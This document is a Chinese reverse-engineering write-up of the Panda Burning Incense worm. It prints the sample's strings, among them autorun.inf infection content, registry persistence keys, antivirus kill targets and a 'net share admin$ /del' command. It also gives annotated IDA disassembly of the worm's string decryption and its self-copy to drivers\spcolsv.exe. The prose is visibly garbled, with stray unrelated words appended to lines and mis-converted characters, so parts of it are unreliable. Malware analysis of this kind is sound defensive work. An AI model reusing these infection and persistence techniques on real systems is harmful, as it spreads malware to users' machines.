熊猫烧香病毒逆向分析

先用PEID分析一下,Delphi写的,没有壳算法

静态分析

用IDA静态分析一下shell

字符串

字符串中有一些和注册表项相关的字符串网络

Software\\Microsoft\\Windows\\CurrentVersion\\Run相关,应该是用来实现自启动的,和关闭一些杀毒软件自启动的信息框架

SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL\\CheckedValue,这个值为0时不能显示隐藏文件socket

Mcshield.exe等等不少的进程,这些都是杀毒软件的名称,应该是关闭杀毒软件函数

c:\\test.txt,可能会用到这个文件编码

desktop.ini,是系统可识别的一个文件,做用是存储用户对文件夹的个性设置(用户更换文件夹图标等等都会生成desktop.ini)spa

[AutoRun]\r\nOPEN=setup.exe\r\nshellexecute=setup.exe\r\nshell\\Auto\\command=setup.exe\r\n、:\\autorun.inf和:\\setup.exe,系统文件cdvsd.vxd侦测是否有光盘放入光驱,若是有的话就开始寻找光盘目录下 的AutoRun.inf文件,若是存在则执行inf。AutoRun.inf不只能使光盘自启还能做用与硬盘线程

cmd.exe /c net share admin$ /del /y,应该是网络共享相关3d

导入函数

CriticalSection临界区相关函数

VirtualFree、VirtualAlloc虚拟地址空间页的分配释放

LocalAlloc、LocalFree从堆中分配释放内存

CreateThread,建立线程

CreateFileA、ReadFile、WriteFile建立、读写文件,

FindNextFileA,遍历文件

RegSetValueExA、RegOpenKeyExA等注册表函数

SetTimer等定时器函数

socket等网络函数

OpenServiceA等操纵服务等函数

URLDownloadToFileA从远程下载文件

大体分析可能存在的功能,管理进程,修改注册表,修改文件,联网、远程下载等

动态分析

进程树

目测只有这一个进程

进程行为

也可使用火绒剑

应该是新建了spcolsv程序

可是这里没有出现网络访问的状况,可能有一些触发条件没有达到

逆向分析

主函数梳理

直接IDA反编译,个人IDA在分析字符串的时候有一些问题,Options->String litera style能够更改字符串解码方式,选上c风格,编码方式使用gb2312就能够正确显示出前面几个字符串了

看主函数

CODE:0040D0A0                 push ebp CODE:0040D0A1                 mov ebp, esp CODE:0040D0A3                 add esp, 0FFFFFFE8h CODE:0040D0A6                 push ebx CODE:0040D0A7                 xor eax, eax CODE:0040D0A9                 mov [ebp+var_18], eax CODE:0040D0AC                 mov [ebp+var_14], eax CODE:0040D0AF                 mov eax, offset dword_40CFF0 CODE:0040D0B4                 call sub_4049E8 CODE:0040D0B9                 mov ebx, offset Msg CODE:0040D0BE                 xor eax, eax CODE:0040D0C0                 push ebp CODE:0040D0C1                 push offset loc_40D1B5 CODE:0040D0C6                 push    dword ptr fs:[eax] CODE:0040D0C9                 mov     fs:[eax], esp CODE:0040D0CC                 mov eax, dword_40D1C4 CODE:0040D0D2                 mov     ds:dword_40F7E0, eax CODE:0040D0D8                 mov eax, dword_40D1C8 CODE:0040D0DE                 mov     ds:dword_40F7E4, eax CODE:0040D0E4                 mov ax, word_40D1CC CODE:0040D0EB                 mov     ds:word_40F7E8, ax CODE:0040D0F2                 mov eax, offset dword_40F7D4 CODE:0040D0F7                 mov     edx, offset asc_40D1D8 ; "***武*汉*男*生*感*染*下*载*者***"
CODE:0040D0FC                 call sub_403C98 CODE:0040D101                 mov eax, offset unk_40F7D8 CODE:0040D106                 mov     edx, offset aMopery ; "感谢艾玛,mopery,海色の月,对此木马的关注!~"
CODE:0040D10B                 call sub_403C98 CODE:0040D110                 mov eax, offset unk_40F7DC CODE:0040D115                 mov edx, offset sub_40D238 CODE:0040D11A                 call sub_403C98 CODE:0040D11F                 lea ecx, [ebp+var_14] CODE:0040D122                 mov     edx, offset aXboy ; "xboy"
CODE:0040D127                 mov     eax, offset asc_40D270 ; "\"++戊+缓\"叛*聋+肛+删\"蚊*苜+兆++*"
CODE:0040D12C                 call    sub_405360      ; 这里的三个参数
CODE:0040D131                 mov edx, [ebp+var_14] CODE:0040D134                 mov     eax, ds:dword_40F7D4 CODE:0040D139                 call sub_404018 CODE:0040D13E                 jz      short loc_40D149 ; 这个跳转若是不成功,则程序直接退出了
CODE:0040D140                 push    0               ; uExitCode
CODE:0040D142                 call    ExitProcess_0   ; 这里就退出了
CODE:0040D147 ; ---------------------------------------------------------------------------
CODE:0040D147                 jmp short loc_40D19A CODE:0040D149 ; ---------------------------------------------------------------------------
CODE:0040D149
CODE:0040D149 loc_40D149:                             ; CODE XREF: start+9E↑j
CODE:0040D149                 lea ecx, [ebp+var_18] CODE:0040D14C                 mov     edx, offset aWhboy_0 ; "whboy"
CODE:0040D151                 mov     eax, offset aDTqTyldL ; "d}tq;*&tyld|l."
CODE:0040D156                 call sub_405360 CODE:0040D15B                 mov edx, [ebp+var_18] CODE:0040D15E                 mov eax, offset dword_40D2D8 CODE:0040D163                 call sub_404018 CODE:0040D168                 jz short loc_40D173 CODE:0040D16A                 push    0               ; uExitCode
CODE:0040D16C                 call ExitProcess_0 CODE:0040D171 ; ---------------------------------------------------------------------------
CODE:0040D171                 jmp short loc_40D19A CODE:0040D173 ; ---------------------------------------------------------------------------
CODE:0040D173
CODE:0040D173 loc_40D173:                             ; CODE XREF: start+C8↑j
CODE:0040D173                 call sub_4082F8    ;主要功能实现函数 CODE:0040D178                 call sub_40CFB4 CODE:0040D17D                 call sub_40CED4 CODE:0040D182                 jmp short loc_40D18A CODE:0040D184 ; ---------------------------------------------------------------------------
CODE:0040D184
CODE:0040D184 loc_40D184:                             ; CODE XREF: start+F8↓j
CODE:0040D184                 push    ebx             ; lpMsg
CODE:0040D185                 call DispatchMessageA CODE:0040D18A
CODE:0040D18A loc_40D18A:                             ; CODE XREF: start+E2↑j
CODE:0040D18A                 push    0               ; wMsgFilterMax
CODE:0040D18C                 push    0               ; wMsgFilterMin
CODE:0040D18E                 push    0               ; hWnd
CODE:0040D190                 push    ebx             ; lpMsg
CODE:0040D191                 call GetMessageA CODE:0040D196                 test eax, eax CODE:0040D198                 jnz short loc_40D184 CODE:0040D19A
CODE:0040D19A loc_40D19A:                             ; CODE XREF: start+A7↑j
CODE:0040D19A                                         ; start+D1↑j
CODE:0040D19A                 xor eax, eax CODE:0040D19C                 pop edx CODE:0040D19D                 pop ecx CODE:0040D19E                 pop ecx CODE:0040D19F                 mov     fs:[eax], edx CODE:0040D1A2                 push offset loc_40D1BC CODE:0040D1A7
CODE:0040D1A7 loc_40D1A7:                             ; CODE XREF: start+11A↓j
CODE:0040D1A7                 lea eax, [ebp+var_18] CODE:0040D1AA                 mov     edx, 2
CODE:0040D1AF                 call sub_403C68 CODE:0040D1B4                 retn

很容易分析出函数传递参数是使用eax和edx

首先看sub_403C98的几个调用处,这个函数的参数有两个,第二个是字符串,第一个参数比较有意思,40F7D四、40F7D8和40F7DC,几个连续的位置,且在BSS段中,估计是全局变量。

停在第一个sub_403C98的调用处,此时eax指向的位置是0,edx指向字符串"***武*汉*男*生*感*染*下*载*者***"

执行完以后,值变成了009f000c

继续跟下去,发现此处的值变成了和原edx相同的字符串

暂时猜想sub_403C98多是一个内存分配,并复制字符串的函数,观测后面函数的行为也是如此

接着看 sub_405360函数,sub_4053603个参数,第一个是一个很奇怪中的字符串"\"++戊+缓\"叛*聋+肛+删\"蚊*苜+兆++*",第二个参数是字符串"xboy",第三个参数是局部变量var_14,也是没有返回值。看后面有对局部变量var_14值的保存,因此这里的返回值应该是经过局部变量var_14来传递

一样观测一下这个函数的返回值状况

函数执行前,局部变量中的值是0,执行完以后变成了009f000c,这个值以前看过,是前面的函数建立的内存

 

里面的值就是以前的字符串值

再往下3句

CODE:0040D131                 mov edx, [ebp+var_14]    ;指向新建的字符串 CODE:0040D134                 mov     eax, ds:dword_40F7D4  ;这就是以前的固定字符串值 CODE:0040D139                 call    sub_404018

接着是这个函数的返回值处理

CODE:0040D13E                 jz      short loc_40D149 ; 这个跳转若是不成功,则程序直接退出了
CODE:0040D140                 push    0               ; uExitCode
CODE:0040D142                 call    ExitProcess_0   ; 这里就退出了

猜想sub_404018应该是字符串比较函数,不等于0则直接退出了?若是正确,往下会执行一段和上面很是相似的函数。只不过传递的字符串变化了

CODE:0040D149 loc_40D149:                             ; CODE XREF: start+9E↑j
CODE:0040D149                 lea ecx, [ebp+var_18] CODE:0040D14C                 mov     edx, offset aWhboy_0 ; "whboy"
CODE:0040D151                 mov     eax, offset aDTqTyldL ; "d}tq;*&tyld|l."
CODE:0040D156                 call sub_405360 CODE:0040D15B                 mov edx, [ebp+var_18] CODE:0040D15E                 mov eax, offset dword_40D2D8 CODE:0040D163                 call sub_404018 CODE:0040D168                 jz short loc_40D173 CODE:0040D16A                 push    0               ; uExitCode
CODE:0040D16C                 call    ExitProcess_0

连续调用3个函数,这就是病毒的主要函数

CODE:0040D173                 call sub_4082F8 CODE:0040D178                 call sub_40CFB4 CODE:0040D17D                 call    sub_40CED4

接下来就是GetMessageA和DispatchMessage,最后再调用了下面的函数,目测这部分就和程序逻辑没有关系了,属于语言加上的特定功能

CODE:0040D1A7                 lea eax, [ebp+var_18] CODE:0040D1AA                 mov     edx, 2
CODE:0040D1AF                 call    sub_403C68

因此主函数须要关注的地方是sub_4082F八、sub_40CFB4和sub_40CED4这3个函数。另外,sub_405360中关于这两个字符串的处理功能是干什么的也还不太明了。

sub_405360字符串解密函数分析

在程序中定义了一些字符串,他们的定义形式都是一个-1(这是用来管理引用的吗),加上字符串长度,最后再加上字符串,这应该是语言对于字符串的底层定义实现。

回到字符串解析的主函数,代码详细注释以下,最终的解密算法大体是逐次循环取得段字符串中字符,而后除以10的余数和原字符串相异或

CODE:00405360                 push ebp CODE:00405361                 mov ebp, esp CODE:00405363                 add esp, 0FFFFFFE8h CODE:00405366                 push ebx CODE:00405367                 push esi CODE:00405368                 push edi CODE:00405369                 xor ebx, ebx CODE:0040536B                 mov     [ebp+var_18], ebx ; 清空局部变量
CODE:0040536E                 mov [ebp+var_10], ebx CODE:00405371                 mov [ebp+var_14], ebx CODE:00405374                 mov     [ebp+return_val], ecx ; 这几个局部变量的值对应函数参数
CODE:00405377                 mov [ebp+short_str], edx CODE:0040537A                 mov [ebp+long_str], eax CODE:0040537D                 mov eax, [ebp+long_str] CODE:00405380                 call    sub_4040BC      ; 参数个数为1,经过eax传递,为字符串
CODE:00405380                                         ; 这里使用了lock指令,应该是和同步或是计数相关了
CODE:00405385                 mov eax, [ebp+short_str] CODE:00405388                 call    sub_4040BC      ; 参数个数为1,经过eax传递,为字符串
CODE:00405388                                         ; 这里使用了lock指令,应该是和同步或是计数相关了
CODE:0040538D                 xor eax, eax CODE:0040538F                 push ebp CODE:00405390                 push offset loc_40544A CODE:00405395                 push    dword ptr fs:[eax] ; 下面这两句应该是和seh相关
CODE:00405398                 mov     fs:[eax], esp CODE:0040539B                 cmp     [ebp+long_str], 0
CODE:0040539F                 jnz     short loc_4053AB ; 字符串不为空,因此这里会跳转
CODE:004053A1                 mov eax, [ebp+return_val] CODE:004053A4                 call sub_403C44 CODE:004053A9                 jmp short loc_405422 CODE:004053AB ; ---------------------------------------------------------------------------
CODE:004053AB
CODE:004053AB loc_4053AB:                             ; CODE XREF: sub_405360+3F↑j
CODE:004053AB                 lea eax, [ebp+var_14] CODE:004053AE                 mov edx, [ebp+short_str] CODE:004053B1                 call    sub_403CDC      ; 传入短字符串和一个局部变量的地址,让var_14指向短字符串
CODE:004053B6                 lea eax, [ebp+var_10] CODE:004053B9                 call sub_403C44 CODE:004053BE                 mov eax, [ebp+long_str] CODE:004053C1                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
CODE:004053C6                 mov esi, eax CODE:004053C8                 test esi, esi CODE:004053CA                 jle short loc_405417 CODE:004053CC                 mov     ebx, 1
CODE:004053D1
CODE:004053D1 loc_4053D1:                             ; CODE XREF: sub_405360+B5↓j
CODE:004053D1                 mov     eax, [ebp+var_14] ; 这是一个循环的开始,var_14应该是循环中使用的变量,esi做为剩余循环次数,ebx做为当前长字串的遍历位置(从0开始)
CODE:004053D4                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
CODE:004053D9                 push    eax             ; 短字符串长度入栈
CODE:004053DA                 mov     eax, ebx        ; eax等于当前长字符串遍历位置
CODE:004053DC                 pop     edx             ; edx指向字符串的长度
CODE:004053DD                 mov ecx, edx CODE:004053DF                 cdq                     ; edx会被清零,eax会被拓展成一个64位的数字
CODE:004053E0                 idiv    ecx             ; 这里就是使用长字符串的遍历位置去除以短字符串的长度
CODE:004053E2                 mov edi, edx CODE:004053E4                 inc edi CODE:004053E5                 mov eax, [ebp+var_14] CODE:004053E8                 movzx   eax, byte ptr [eax+edi-1] ; eax取得短字符串中的字符,第一次取得的是第二个字符而不是第一个
CODE:004053ED                 mov ecx, 0Ah CODE:004053F2                 xor edx, edx CODE:004053F4                 div     ecx             ; 字符串中某个字符除10,下面的代码中没有关商,只管了余数
CODE:004053F6                 mov eax, [ebp+long_str] CODE:004053F9                 movzx   eax, byte ptr [eax+ebx-1] ; eax取得长字符串中某个字符
CODE:004053FE                 xor     edx, eax        ; 使用余数和长字符串中的字符进行异或操做
CODE:00405400                 lea eax, [ebp+var_18] CODE:00405403                 call    sub_403E2C      ; 这个函数将异或结果存放到var_18
CODE:00405408                 mov edx, [ebp+var_18] CODE:0040540B                 lea eax, [ebp+var_10] CODE:0040540E                 call    sub_403ED4      ; 这个函数将最终结果存放到局部变量var_10中
CODE:00405413                 inc ebx CODE:00405414                 dec esi CODE:00405415                 jnz     short loc_4053D1 ; 这是一个循环的开始,var_14应该是循环中使用的变量,esi做为剩余循环次数,ebx做为当前长字串的遍历位置(从0开始)
CODE:00405417
CODE:00405417 loc_405417:                             ; CODE XREF: sub_405360+6A↑j
CODE:00405417                 mov eax, [ebp+return_val] CODE:0040541A                 mov edx, [ebp+var_10] CODE:0040541D                 call    sub_403C98      ; 前面的循环中最后一个函数将值放入var_10,这里就是将它做为返回值,返回被解密的字符串

分析完了解密的字符串,回头再看主函数中解密函数以后的就比较好理解了,解密处字符串,而后和原字符串进行一个比较,若是不正确则直接退出进程

sub_4082F8主要函数一

在ollydbg中,观测每一个函数的输出输出值,就能大体理顺整个函数的框架

这个函数的逻辑中,会检查文件的末尾一个字符是否是'0',这个多是用来标记文件是否被感染的,后面再看,若是是,后面感染文件确定还会碰到。

而后剩下的功能就是复制本身到system目录之下,改个名字,再次执行一下,这样就达到了假装成正常进程的目的。只有程序在system目录下执行的时候才会继续往下执行,不然执行完这个函数就直接退出了。

将进程停在最后执行WinExec的步骤执行以前,查看这个进程的全部行为

下面看代码

CODE:00408300                 push    0
CODE:00408302                 push    0               ; 一次push是4字节
CODE:00408304                 dec     ecx             ; 这里至关于分配内存,依次分配8个字节
CODE:00408305                 jnz short loc_408300 CODE:00408307                 push ecx CODE:00408308                 push ebx CODE:00408309                 push esi CODE:0040830A                 push edi CODE:0040830B                 xor eax, eax CODE:0040830D                 push ebp CODE:0040830E                 push offset loc_4088DD CODE:00408313                 push    dword ptr fs:[eax] CODE:00408316                 mov     fs:[eax], esp CODE:00408319                 lea edx, [ebp+path] CODE:0040831F                 xor eax, eax CODE:00408321                 call    get_path        ; 参数1为0,参数2为局部变量var_3B8,返回值为可执行文件绝对路径的地址
CODE:00408326                 mov eax, [ebp+path] CODE:0040832C                 lea edx, [ebp+path_no_exe] CODE:00408332                 call    sub_405684      ; 该函数执行完后,var_3B4存放路径字符串的地址,和上面相比,没有可执行文件的名字
CODE:00408337                 lea eax, [ebp+path_no_exe] CODE:0040833D                 mov     edx, offset aDesktopIni ; "Desktop_.ini"
CODE:00408342                 call    sub_403ED4      ; 字符串追加,在路径后面增长一个Desktop_.ini
CODE:00408347                 mov eax, [ebp+path_no_exe] CODE:0040834D                 call    sub_4057A4      ; 这是判断文件是否存在
CODE:00408352                 test    al, al          ; 这里返回了0
CODE:00408354                 jz      loc_4083E4      ; 跳转
CODE:0040835A                 push    80h             ; dwFileAttributes
CODE:0040835F                 lea edx, [ebp+var_3C0] CODE:00408365                 xor eax, eax CODE:00408367                 call get_path CODE:0040836C                 mov eax, [ebp+var_3C0] CODE:00408372                 lea edx, [ebp+var_3BC] CODE:00408378                 call sub_405684 CODE:0040837D                 lea eax, [ebp+var_3BC] CODE:00408383                 mov     edx, offset aDesktopIni ; "Desktop_.ini"
CODE:00408388                 call sub_403ED4 CODE:0040838D                 mov eax, [ebp+var_3BC] CODE:00408393                 call sub_4040CC CODE:00408398                 push    eax             ; lpFileName
CODE:00408399                 call SetFileAttributesA CODE:0040839E                 push    1               ; dwMilliseconds
CODE:004083A0                 call Sleep CODE:004083A5                 lea edx, [ebp+var_3C8] CODE:004083AB                 xor eax, eax CODE:004083AD                 call get_path CODE:004083B2                 mov eax, [ebp+var_3C8] CODE:004083B8                 lea edx, [ebp+var_3C4] CODE:004083BE                 call sub_405684 CODE:004083C3                 lea eax, [ebp+var_3C4] CODE:004083C9                 mov     edx, offset aDesktopIni ; "Desktop_.ini"
CODE:004083CE                 call sub_403ED4 CODE:004083D3                 mov eax, [ebp+var_3C4] CODE:004083D9                 call sub_4040CC CODE:004083DE                 push    eax             ; lpFileName
CODE:004083DF                 call DeleteFileA CODE:004083E4
CODE:004083E4 loc_4083E4:                             ; CODE XREF: sub_4082F8+5C↑j
CODE:004083E4                 lea     edx, [ebp+ab_path] ; 当前目录不存在Desktop_.ini文件
CODE:004083EA                 xor eax, eax CODE:004083EC                 call    get_path        ; 而后又有一个局部变量指向了文件绝对路径
CODE:004083F1                 mov eax, [ebp+ab_path] CODE:004083F7                 lea edx, [ebp+self_file] CODE:004083FA                 call    sub_407760      ; 这里好像是读了整个本身的文件,很大的内存空间,还有头文件的特殊标识
CODE:004083FF                 lea eax, [ebp+var_8] CODE:00408402                 call    sub_403C44      ; var_8的值好像也没有改变
CODE:00408407                 mov eax, [ebp+self_file] CODE:0040840A                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
CODE:0040840F                 mov     ebx, eax        ; 在以前的函数中,字符串前面4个字节存放的是字符串大小,这里多是语言的特性,读出的值为f200,也是该内存值前面4字节的数值。
CODE:0040840F                                         ; 这里应该是返回文件大小,由于文件正好是61952字节
CODE:00408411                 jmp     short loc_408437 ; 文件长度不为0
CODE:00408413 ; ---------------------------------------------------------------------------
CODE:00408413
CODE:00408413 loc_408413:                             ; CODE XREF: sub_4082F8+14B↓j
CODE:00408413                 lea eax, [ebp+var_3D0] CODE:00408419                 mov edx, [ebp+self_file] CODE:0040841C                 mov     dl, [edx+ebx-1] CODE:00408420                 call sub_403E2C CODE:00408425                 mov edx, [ebp+var_3D0] CODE:0040842B                 lea eax, [ebp+var_8] CODE:0040842E                 mov ecx, [ebp+var_8] CODE:00408431                 call sub_403F18 CODE:00408436                 dec ebx CODE:00408437
CODE:00408437 loc_408437:                             ; CODE XREF: sub_4082F8+119↑j
CODE:00408437                 test    ebx, ebx        ; 文件长度不为0
CODE:00408439                 jle     short loc_408445 ; 因此不跳转
CODE:0040843B                 mov eax, [ebp+self_file] CODE:0040843E                 cmp     byte ptr [eax+ebx-1], 0 ; 这里比较文件的最后一个字节,看是否是0,病毒自身是为0的,因此继续往下走
CODE:00408443                 jnz short loc_408413 CODE:00408445
CODE:00408445 loc_408445:                             ; CODE XREF: sub_4082F8+141↑j
CODE:00408445                 cmp     [ebp+var_8], 0  ; 若是可执行文件的末尾一个字节不是0,则会修改这个局部变量,这里直接往下走了
CODE:00408449                 jnz     loc_4085BA      ; 若是是第二次启动,那么会跳转到这里执行
CODE:0040844F                 lea edx, [ebp+another_path] CODE:00408455                 xor eax, eax CODE:00408457                 call    get_path        ; 这个仍是一个获取路径的函数
CODE:0040845C                 mov eax, [ebp+another_path] CODE:00408462                 lea edx, [ebp+up_path] CODE:00408468                 call    sub_40532C      ; 将路径转化为大写字母
CODE:0040846D                 mov eax, [ebp+up_path] CODE:00408473                 push eax CODE:00408474                 lea eax, [ebp+system32_path] CODE:0040847A                 call    sub_4054BC      ; 获取路径"C:\WINDOWS\system32\"
CODE:0040847F                 push [ebp+system32_path] CODE:00408485                 push    offset aDrivers ; "drivers\\"
CODE:0040848A                 push    offset aSpcolsvExe ; "spcolsv.exe"
CODE:0040848F                 lea eax, [ebp+total_path] CODE:00408495                 mov     edx, 3
CODE:0040849A                 call    sub_403F8C      ; 将3个路径拼接起来,造成字符串"C:\WINDOWS\system32\drivers\spcolsv.exe"
CODE:0040849F                 mov eax, [ebp+total_path] CODE:004084A5                 lea edx, [ebp+up_total_path] CODE:004084AB                 call    sub_40532C      ; 完整路径转换成大写字母
CODE:004084B0                 mov edx, [ebp+up_total_path] CODE:004084B6                 pop     eax             ; eax指向当前文件的大写路径
CODE:004084B7                 call    sub_404018      ; 返回0xf,应该是字符串判断
CODE:004084BC                 jz      loc_4085BA      ; 我将可执行文件放在了桌面,因此这里是不跳转
CODE:004084C2                 mov     eax, offset aSpcolsvExe ; "spcolsv.exe"
CODE:004084C7                 call    sub_4060D4      ; 以这个进程名作了两次相同的操做,这个函数应该也是没有返回值的
CODE:004084CC                 mov     eax, offset aSpcolsvExe ; "spcolsv.exe"
CODE:004084D1                 call sub_4060D4 CODE:004084D6                 push 80h CODE:004084DB                 lea eax, [ebp+system32_path2] CODE:004084E1                 call    sub_4054BC      ; 再一次获取system路径
CODE:004084E6                 push [ebp+system32_path2] CODE:004084EC                 push    offset aDrivers ; "drivers\\"
CODE:004084F1                 push    offset aSpcolsvExe ; "spcolsv.exe"
CODE:004084F6                 lea eax, [ebp+total_path2] CODE:004084FC                 mov     edx, 3
CODE:00408501                 call    sub_403F8C      ; 和前面同样的拼接函数
CODE:00408506                 mov eax, [ebp+total_path2] CODE:0040850C                 call    sub_4040CC      ; 传入路径,没有返回值
CODE:00408511                 push    eax             ; lpFileName
CODE:00408512                 call SetFileAttributesA CODE:00408517                 push    1               ; dwMilliseconds
CODE:00408519                 call Sleep CODE:0040851E                 push    0
CODE:00408520                 lea eax, [ebp+system32_path3] CODE:00408526                 call    sub_4054BC      ; 仍是获取system32路径
CODE:0040852B                 push [ebp+system32_path3] CODE:00408531                 push    offset aDrivers ; "drivers\\"
CODE:00408536                 push    offset aSpcolsvExe ; "spcolsv.exe"
CODE:0040853B                 lea eax, [ebp+var_3F0] CODE:00408541                 mov     edx, 3
CODE:00408546                 call    sub_403F8C      ; 再次拼接
CODE:0040854B                 mov eax, [ebp+var_3F0] CODE:00408551                 call sub_4040CC CODE:00408556                 push    eax             ; lpNewFileName
CODE:00408557                 lea edx, [ebp+var_3F8] CODE:0040855D                 xor eax, eax CODE:0040855F                 call get_path CODE:00408564                 mov eax, [ebp+var_3F8] CODE:0040856A                 call sub_4040CC CODE:0040856F                 push    eax             ; lpExistingFileName
CODE:00408570                 call    CopyFileA       ; 将自身文件复制到系统目录下,假装成drivers/spcolsv.exe
CODE:00408575                 push    1
CODE:00408577                 lea eax, [ebp+var_400] CODE:0040857D                 call    sub_4054BC      ; 而后又获取system路径
CODE:00408582                 push [ebp+var_400] CODE:00408588                 push    offset aDrivers ; "drivers\\"
CODE:0040858D                 push    offset aSpcolsvExe ; "spcolsv.exe"
CODE:00408592                 lea eax, [ebp+var_3FC] CODE:00408598                 mov     edx, 3
CODE:0040859D                 call    sub_403F8C      ; 再次拼接
CODE:004085A2                 mov eax, [ebp+var_3FC] CODE:004085A8                 call sub_4040CC CODE:004085AD                 push    eax             ; lpCmdLine
CODE:004085AE                 call    WinExec         ; 这里是执行system目录下的可执行文件了,而后本身就退出了
CODE:004085B3                 push    0               ; uExitCode
CODE:004085B5                 call ExitProcess_0 CODE:004085BA ; ---------------------------------------------------------------------------
CODE:004085BA
CODE:004085BA loc_4085BA:                             ; CODE XREF: sub_4082F8+151↑j
CODE:004085BA                                         ; sub_4082F8+1C4↑j
CODE:004085BA                 mov     eax, [ebp+var_8] ; 若是是第二次启动,那么会跳转到这里执行
CODE:004085BD                 call    str_length      ; 这里应该返回0,由于仍是自身,var_8没有改变,仍是0
CODE:004085C2                 mov ecx, eax CODE:004085C4                 lea eax, [ebp+self_file] CODE:004085C7                 mov edx, ebx CODE:004085C9                 call    sub_40416C      ; 参数1为文件内容,参数二为文件大小,参数3为0
CODE:004085CE                 jmp     loc_40889D      ; 这里须要跳转
CODE:004085D3 ; ---------------------------------------------------------------------------
CODE:004085D3
CODE:004085D3 loc_4085D3:                             ; CODE XREF: sub_4082F8+5B4↓j
CODE:004085D3                 lea eax, [ebp+var_14] CODE:004085D6                 push eax CODE:004085D7                 mov edx, [ebp+var_8] CODE:004085DA                 mov eax, offset dword_408934 CODE:004085DF                 call sub_4041B4 CODE:004085E4                 mov ecx, eax CODE:004085E6                 dec ecx CODE:004085E7                 mov     edx, 1
CODE:004085EC                 mov eax, [ebp+var_8] CODE:004085EF                 call sub_40412C CODE:004085F4                 lea eax, [ebp+var_14] CODE:004085F7                 mov     ecx, 5
CODE:004085FC                 mov     edx, 1
CODE:00408601                 call sub_40416C CODE:00408606                 lea eax, [ebp+var_C] CODE:00408609                 push eax CODE:0040860A                 mov edx, [ebp+var_14] CODE:0040860D                 mov eax, offset dword_408940 CODE:00408612                 call sub_4041B4 CODE:00408617                 mov ecx, eax CODE:00408619                 dec ecx CODE:0040861A                 mov     edx, 1
CODE:0040861F                 mov eax, [ebp+var_14] CODE:00408622                 call sub_40412C CODE:00408627                 mov edx, [ebp+var_14] CODE:0040862A                 mov eax, offset dword_408940 CODE:0040862F                 call sub_4041B4 CODE:00408634                 mov ecx, eax CODE:00408636                 lea eax, [ebp+var_14] CODE:00408639                 mov     edx, 1
CODE:0040863E                 call sub_40416C CODE:00408643                 mov eax, [ebp+var_14] CODE:00408646                 call sub_405870 CODE:0040864B                 mov [ebp+var_18], eax CODE:0040864E                 xor eax, eax CODE:00408650                 push ebp CODE:00408651                 push offset loc_4086D6 CODE:00408656                 push    dword ptr fs:[eax] CODE:00408659                 mov     fs:[eax], esp CODE:0040865C                 mov edx, [ebp+var_C] CODE:0040865F                 lea eax, [ebp+var_1E4] CODE:00408665                 call sub_402AD8 CODE:0040866A                 mov     eax, ds:off_40E2BC CODE:0040866F                 mov     byte ptr [eax], 2
CODE:00408672                 lea eax, [ebp+var_1E4] CODE:00408678                 call sub_402868 CODE:0040867D                 call sub_402614 CODE:00408682                 lea eax, [ebp+var_404] CODE:00408688                 push eax CODE:00408689                 mov eax, [ebp+self_file] CODE:0040868C                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
CODE:00408691                 mov edx, eax CODE:00408693                 sub edx, [ebp+var_18] CODE:00408696                 mov ecx, [ebp+var_18] CODE:00408699                 mov eax, [ebp+self_file] CODE:0040869C                 call sub_40412C CODE:004086A1                 mov edx, [ebp+var_404] CODE:004086A7                 lea eax, [ebp+var_1E4] CODE:004086AD                 call sub_404260 CODE:004086B2                 call sub_402B88 CODE:004086B7                 call sub_402614 CODE:004086BC                 lea eax, [ebp+var_1E4] CODE:004086C2                 call sub_402C48 CODE:004086C7                 call sub_402614 CODE:004086CC                 xor eax, eax CODE:004086CE                 pop edx CODE:004086CF                 pop ecx CODE:004086D0                 pop ecx CODE:004086D1                 mov     fs:[eax], edx CODE:004086D4                 jmp short loc_4086E0 CODE:004086D6 ; ---------------------------------------------------------------------------
CODE:004086D6
CODE:004086D6 loc_4086D6:                             ; DATA XREF: sub_4082F8+359↑o
CODE:004086D6                 jmp sub_403538 CODE:004086DB ; ---------------------------------------------------------------------------
CODE:004086DB                 call sub_4036F0 CODE:004086E0
CODE:004086E0 loc_4086E0:                             ; CODE XREF: sub_4082F8+3DC↑j
CODE:004086E0                 call sub_407C74 CODE:004086E5                 mov     eax, offset aSpcolsvExe ; "spcolsv.exe"
CODE:004086EA                 call sub_405568 CODE:004086EF                 test al, al CODE:004086F1                 jnz loc_408896 CODE:004086F7                 push 80h CODE:004086FC                 lea eax, [ebp+var_40C] CODE:00408702                 call sub_4054BC CODE:00408707                 push [ebp+var_40C] CODE:0040870D                 push    offset aDrivers ; "drivers\\"
CODE:00408712                 push    offset aSpcolsvExe ; "spcolsv.exe"
CODE:00408717                 lea eax, [ebp+var_408] CODE:0040871D                 mov     edx, 3
CODE:00408722                 call sub_403F8C CODE:00408727                 mov eax, [ebp+var_408] CODE:0040872D                 call sub_4040CC CODE:00408732                 push    eax             ; lpFileName
CODE:00408733                 call SetFileAttributesA CODE:00408738                 push    1               ; dwMilliseconds
CODE:0040873A                 call Sleep CODE:0040873F                 lea eax, [ebp+uCmdShow] CODE:00408745                 call sub_4054BC CODE:0040874A                 push    [ebp+uCmdShow]  ; uCmdShow
CODE:00408750                 push    offset aDrivers ; "drivers\\"
CODE:00408755                 push    offset aSpcolsvExe ; "spcolsv.exe"
CODE:0040875A                 lea eax, [ebp+var_410] CODE:00408760                 mov     edx, 3
CODE:00408765                 call sub_403F8C CODE:0040876A                 mov eax, [ebp+var_410] CODE:00408770                 call sub_4040CC CODE:00408775                 push    eax             ; lpFileName
CODE:00408776                 call DeleteFileA CODE:0040877B                 mov eax, [ebp+self_file] CODE:0040877E                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
CODE:00408783                 mov edx, eax CODE:00408785                 sub edx, [ebp+var_18] CODE:00408788                 lea eax, [ebp+self_file] CODE:0040878B                 mov ecx, [ebp+var_18] CODE:0040878E                 call sub_40416C CODE:00408793                 mov eax, [ebp+self_file] CODE:00408796                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
CODE:0040879B                 push eax CODE:0040879C                 mov eax, [ebp+self_file] CODE:0040879F                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
